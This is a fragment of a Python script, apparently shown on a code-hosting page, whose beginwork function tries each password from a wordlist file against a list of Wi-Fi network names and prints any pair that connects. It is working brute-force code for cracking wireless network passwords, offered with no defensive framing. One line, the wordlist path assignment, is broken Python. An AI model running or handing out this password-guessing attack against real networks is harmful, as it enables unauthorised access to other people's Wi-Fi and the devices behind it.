(wifinamelist)
| 101 | |
| 102 | |
| 103 | def beginwork(wifinamelist): |
| 104 | ifaces = getifaces() |
| 105 | path = r # password-8 digits .txt |
| 106 | # Path = r "password- commonly used passwords .txt" |
| 107 | files = open(path, "r") |
| 108 | while True: |
| 109 | try: |
| 110 | password = files.readline() |
| 111 | password = password.strip("\n") |
| 112 | if not password: |
| 113 | break |
| 114 | for wifiname in wifinamelist: |
| 115 | print("are trying to:" + wifiname + "," + password) |
| 116 | if testwifi(ifaces, wifiname, password): |
| 117 | print("Wifi account:" + wifiname + ", Wifi password:" + password) |
| 118 | wifinamelist.remove(wifiname) |
| 119 | break |
| 120 | if not wifinamelist: |
| 121 | break |
| 122 | except: |
| 123 | continue |
| 124 | files.close() |
| 125 | |
| 126 | |
| 127 | if __name__ == "__main__": |
no test coverage detected